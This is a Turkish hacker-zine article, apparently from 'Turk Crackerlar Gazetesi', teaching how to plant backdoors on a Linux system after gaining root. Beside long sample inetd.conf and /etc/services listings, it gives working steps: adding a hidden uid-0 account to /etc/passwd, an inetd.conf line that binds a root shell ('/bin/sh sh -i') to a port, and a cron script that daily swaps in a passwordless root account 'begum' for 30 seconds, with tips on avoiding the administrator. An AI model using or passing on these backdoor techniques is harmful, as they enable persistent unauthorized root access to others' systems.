BACKDOOR 

- Backdoor Nedir, Nasıl Kullanılır (Bölüm I). (Düzenleyen DaRkCLusTeR) (Turk Crackerlar Gazetesi)

MeRHabA!!! Bu seferki yazımın konusu arka kapılar, size birkaç arka kapı göstereceğim. Çok karışık olmayanlarından, yani kendi Linux'ünüzde yazıyı okur okumaz deneyebilirsiniz, ve ayrıca göstereceğim arka kapılardan yola çıkıp hayal gücünüzü de kullanarak, çok hoş arka kapılar yapabilirsiniz..Yalnız arka kapılar "root" elde etmek için değildir. Arka kapılar çok çalışıp zorla elde ettiğiniz "root"'u sistemde güvenlik delikleri oluşturarak bir sonraki geri dönüşünüz için elinizde tutmanız içindir.

Herneyse, diyelim ki çok aceleniz var ve hemen bir arka kapı oluşturmak istiyorsunuz. /etc/passwd dosyasını hemen bir programla açıp ortalarına bir yere şüphe çekmeyecek bir root hesabı ekleyin ya da dosyanın derinlerinde bir yerlerde sistem yöneticisinin daha önceden dondurduğu bir hesabın uid'ini 0 yapın ve * işaretini kaldırın. Bunlar zorunlu kalmadıkça kullanılmaması gereken yöntemlerdir ve sistem yöneticisinin en çabuk fark edeceği kapılardır. Bu yüzden ZORUNLU KALMADIKÇA KULLANMAYIN!!!

Şimdi geldik bir inetd.conf arka kapısına! Ama en eğlencelisini sona sakladım..hehe... Inetd, sistemin portlarını yükleyen bir programdır ve aynı zamanda arka kapılar için de çok uygundur. Gerçi /etc/inetd.conf dosyasında değişiklik yapılarak yaratılan arka kapıların yaşam süresi sistem yöneticisine göre değişir. Pek uzun yaşayacaklarını hiç sanmıyorum; fakat denemeye değer. Aşağıda kendi bilgisayarımdaki Linux'den aldığım bir /etc/inetd.conf örneği var.

(Tabii ki hepsi değil...)

#ftp stream tcp nowait root /usr/sbin/tcpd in.ftpd -l -a

#telnet stream tcp nowait root /usr/sbin/tcpd in.telnetd

#gopher stream tcp nowait root /usr/sbin/tcpd gn

#nntp stream tcp nowait root /usr/sbin/tcpd in.nntpd

#shell stream tcp nowait root /usr/sbin/tcpd in.rshd

#login stream tcp nowait root /usr/sbin/tcpd in.rlogind

#exec stream tcp nowait root /usr/sbin/tcpd in.rexecd

#talk dgram udp wait root /usr/sbin/tcpd in.talkd

#ntalk dgram udp wait root /usr/sbin/tcpd in.ntalkd

#dtalk stream tcp waut nobody /usr/sbin/tcpd in.dtalkd

#pop-2 stream tcp nowait root /usr/sbin/tcpd ipop2d

#pop-3 stream tcp nowait root /usr/sbin/tcpd ipop3d

#imap stream tcp nowait root /usr/sbin/tcpd imapd

#uucp stream tcp nowait uucp /usr/sbin/tcpd /usr/lib/uucp/uucico -l

#tftp dgram udp wait root /usr/sbin/tcpd in.tftpd

#bootps dgram udp wait root /usr/sbin/tcpd bootpd

finger stream tcp nowait root /usr/sbin/tcpd in.fingerd -l

#cfingerstream tcp nowait root /usr/sbin/tcpd in.cfingerd

#systat stream tcp nowait guest /usr/sbin/tcpd /bin/ps -auwwx

#netstatstream tcp nowait guest /usr/sbin/tcpd /bin/netstat -f inet

#time stream tcp nowait nobody /usr/sbin/tcpd in.timed

#time dgram udp wait nobody /usr/sbin/tcpd in.timed

#auth stream tcp nowait nobody /usr/sbin/in.identd in.identd -l -e -o

# işareti Linux'e o satırı okumamasını sağlıyor. Gördüğünüz gibi benim sadece telnet ve finger portlarım açık. Aslında normalde ben hiç bir portumu açık bırakmam, ama bu aralar açık işte :) Şimdi "Bunlarda nedir?" diye soracaksınız. Telnet'i ele alalım. Satırdaki birinci bölüm çalıştırılacak daemon'un, yani, programın ismidir. İkinci bölümdeki stream socket tipidir. TCP'nin socketi stream ,UDP'ninkiyse dgram. Sonraki bölümde ise protocol ismini görüyorsunuz. Sonraki bölümdeyse programın hangi kullanıcı türü olarak çalışacağı belirlenir. Yani telnet root (uid=0) olarak çalışacak. Beşinci bölümde ise programın bulunduğu dizin var; fakat benim inetd.conf dosyamda /usr/sbin/tcpd'yi görüyorsunuz. Tcpd güvenlik için bazı bilgileri kaydeden bir daemon olduğuna göre, burada telnetin hareketleri normalde olduğundan fazla kaydediliyor. Son bölümdeyse daemonun paremetreleriyle beraber gerçek ismini görüyorsunuz.

Bir de daemonların hangi portları ve protocolleri kullandığını içeren /etc/services dosyası vardır. Bu dosya sayesinde 23 olan telnet portunu, 7000 yapabiliriz :) Aşağıda bir services örneği var:

tcpmux 1/tcp # rfc-1078

echo 7/tcp

echo 7/udp

discard 9/tcp sink null

discard 9/udp sink null

systat 11/tcp users

daytime 13/tcp

daytime 13/udp

netstat 15/tcp

qotd 17/tcp quote

chargen 19/tcp ttytst source

chargen 19/udp ttytst source

ftp-data 20/tcp

ftp 21/tcp

telnet 23/tcp

smtp 25/tcp mail

time 37/tcp timserver

time 37/udp timserver

rlp 39/udp resource # resource location

name 42/udp nameserver

whois 43/tcp nicname # usually to sri-nic

domain 53/tcp

domain 53/udp

mtp 57/tcp # deprecated

bootps 67/udp # bootp server

bootpc 68/udp # bootp client

tftp 69/udp

gopher 70/tcp # gopher server

rje 77/tcp

finger 79/tcp

http 80/tcp # www is used by some broken

www 80/tcp # progs, http is more correct

link 87/tcp ttylink

kerberos 88/udp kdc # Kerberos authentication--udp

kerberos 88/tcp kdc # Kerberos authentication--tcp

supdup 95/tcp # BSD supdupd(8)

hostnames 101/tcp hostname # usually to sri-nic

iso-tsap 102/tcp

x400 103/tcp # ISO Mail

x400-snd 104/tcp

csnet-ns 105/tcp

pop-2 109/tcp # PostOffice V.2

pop-3 110/tcp # PostOffice V.3

pop 110/tcp # PostOffice V.3

sunrpc 111/tcp

sunrpc 111/tcp portmapper # RPC 4.0 portmapper UDP

sunrpc 111/udp

sunrpc 111/udp portmapper # RPC 4.0 portmapper TCP

auth 113/tcp ident # User Verification

sftp 115/tcp

uucp-path 117/tcp

nntp 119/tcp usenet # Network News Transfer

ntp 123/tcp # Network Time Protocol

ntp 123/udp # Network Time Protocol

netbios-ns 137/tcp nbns

netbios-ns 137/udp nbns

netbios-dgm 138/tcp nbdgm

netbios-dgm 138/udp nbdgm

netbios-ssn 139/tcp nbssn

imap 143/tcp # imap network mail protocol

NeWS 144/tcp news # Window System

nmp 161/udp

snmp-trap 162/udp

exec 512/tcp # BSD rexecd(8)

biff 512/udp comsat

login 513/tcp # BSD rlogind(8)

who 513/udp whod # BSD rwhod(8)

shell 514/tcp cmd # BSD rshd(8)

syslog 514/udp # BSD syslogd(8)

printer 515/tcp spooler # BSD lpd(8)

talk 517/udp # BSD talkd(8)

ntalk 518/udp # SunOS talkd(8)

efs 520/tcp # for LucasFilm

route 520/udp router routed # 521/udp too

timed 525/udp timeserver

tempo 526/tcp newdate

courier 530/tcp rpc # experimental

conference 531/tcp chat

netnews 532/tcp readnews

netwall 533/udp # -for emergency broadcasts

uucp 540/tcp uucpd # BSD uucpd(8) UUCP service

klogin 543/tcp # Kerberos authenticated rlogin

kshell 544/tcp cmd # and remote shell

new-rwho 550/udp new-who # experimental

remotefs 556/tcp rfs_server rfs # Brunhoff remote filesystem

rmonitor 560/udp rmonitord # experimental

monitor 561/udp # experimental

pcserver 600/tcp # ECD Integrated PC board srvr

mount 635/udp # NFS Mount Service

pcnfs 640/udp # PC-NFS DOS Authentication

bwnfs 650/udp # BW-NFS DOS Authentication

kerberos-adm 749/tcp # Kerberos 5 admin/changepw

kerberos-adm 749/udp # Kerberos 5 admin/changepw

kerberos-sec 750/udp # Kerberos authentication--udp

kerberos-sec 750/tcp # Kerberos authentication--tcp

kerberos_master 751/udp # Kerberos authentication

kerberos_master 751/tcp # Kerberos authentication

krb5_prop 754/tcp # Kerberos slave propagation

listen 1025/tcp listener RFS remote_file_sharing

nterm 1026/tcp remote_login network_terminal

kpop 1109/tcp # Pop with Kerberos

ingreslock 1524/tcp

tnet 1600/tcp # transputer net daemon

cfinger 2003/tcp # GNU finger

nfs 2049/udp # NFS File Service

eklogin 2105/tcp # Kerberos encrypted rlogin

krb524 4444/tcp # Kerberos 5 to 4 ticket xlator

irc 6667/tcp # Internet Relay Chat

dos 7000/tcp msdos

Buraya istediğinizi ekleyebilirsiniz. Örneğin; ircyi ele alalım. Baştaki "irc" sözcüğü /etc/inetd.conf'un içinde yer alacak olan isim, 6667 port numarası, tcp protokol tipi, # işaretinden sonraki bölümse açıklaması. Artık bu anlattıklarımdan sonra, kapıyı nasıl koyacağınızı anlatacağım.

Kendi servisinizi yükleyebilirsiniz ya da önceden yüklenmiş bir servisi değiştirebilirsiniz.

Örneğin, kurbanımız time olsun.

time stream tcp nowait nobody /usr/sbin/tcpd in.timed

Time'ın port numarası services dosyasında 37 olarak belirlendiği için services dosyasını değiştirmeye gerek yok. Önemli olan son üç bölüm. Kapımızın root olarak çalışması şart olduğu için nobody yerine root yazın. /usr/sbin/tcpd yerine /bin/sh yazın. Ve son olarak in.timed yerine sh -i yazın. Satırın aynı aşağıdaki gibi olması gerekiyor:

time stream tcp nowait root /bin/sh sh -i

Hepsi bu kadar! Eğer isterseniz riske girip yönetici yerine siz "killall -HUP inetd" yazarak dosyayı tekrar okutabilirsiniz ya da biraz bekleyebilirsiniz. Şimdi tek yapacağınız port 37'ye telnet çekmek. Root olarak sistemde bulacaksınız kendinizi...heuehuhu...Tek yapacağınız kapınızı /etc/services dosyasına tanıtmak ve inetd.conf'a eklemek. İşte size bir örnek:

inetd.conf --> filter stream tcp nowait root /bin/sh sh -i

services --> filter 8000/tcp backdoor

İşte bu kadar. Şimdi tek yapacağınız "killall -HUP inetd" yazıp, port 8000'e telnet çekmek. Hiç zor değil...Ama bu kapılar daha önce de dediğim gibi hemen fark edilir. Peki hangileri hemen fark edilmez? C dosyası şeklinde olan truva atları tabii ki!

Ve son olarak /etc/crontab kapılarına geldik. Sadece bir tane örnek vereceğim, çünkü hayal gücünüzü kullanarak bir sürü değişik kapı üretebilirsiniz. Crond istediğiniz zamanda istediğiniz işlemi yapmanızı sağlayan çok yararlı bir araçtır. Şimdiki örnekte, crond 30 saniyeliğine begüm isimli bir kullanıcıyı aktif hale getiriyor. Basit ama etkili br örnek.

Nasıl mı yapacaksınız? Çok basit, sadece /etc/crontab dosyasına bir satır gireceksiniz ve birkaç shell dosyası yapacaksınız. Tabii ki biraz unix bilginizin olduğunu düşünüyorum. Aşağıda crontab dosyasındaki alanların açıklamaları var:

(1) (2) (3) (4) (5) (6)

dakika saat gün ay haftanınçalıştırılacak komut ya da dosya

0-59 0-23 1-31 1-12 0-6günü

Şimdi /var/spool/crond/ ya da /var/spool/mail/ dizinlerinden biri mutlaka olacaktır. Varsa /var/spool/crond/, yoksa /var/spool/mail/ dizininin içine gidip "begum" adlı bir dosya yaratın ve bu dosyanın içine şunları girin:

30 23 * * * sh /usr/bin/test

Sonra /usr/bin/ dizinine gidin ve test adlı bir dosya yaratıp şu değişiklikleri yapın:

cp /etc/passwd /etc/passwdd

rm /etc/passwd

cp /etc/tester /etc/passwd

sleep 30

rm /etc/passwd

cp /etc/passwdd /etc/passwd

Daha sonra /etc/'ye gidip tester adlı bir dosya yaratıp aşağıdakileri girin:

begum::0:0:Begum Atac:/:/bin/bash

İşte arka kapınız hazır! Her gün saat 23:30'da 30 saniyeliğine gerçek passwd dosyası yerine kendi begum isimli root hesabımızı aktif hale getiriyoruz! Bu çok basit ve bir çok insanın bildiği bir kapıdır. Tabii ki hayal gücünüz sayesinde çok daha karmaşık ve iyilerini yaratabilirsiniz.

Hepsi bu kadar...Size anlattıklarımı başka yerlerde de okumuş olabilirsiniz. Bana mail atıp kopyaladğımı söylemeyin! Neden mi? Çünkü bunlar en çok bilinen kapılardır, bu nedenle başkalarının da anlatmış olması çok normal! Herneyse, belki başka bir sayıda karışık arka kapı örnekleri veririm, şimdilik bu kadar. Kendinize iyi bakın!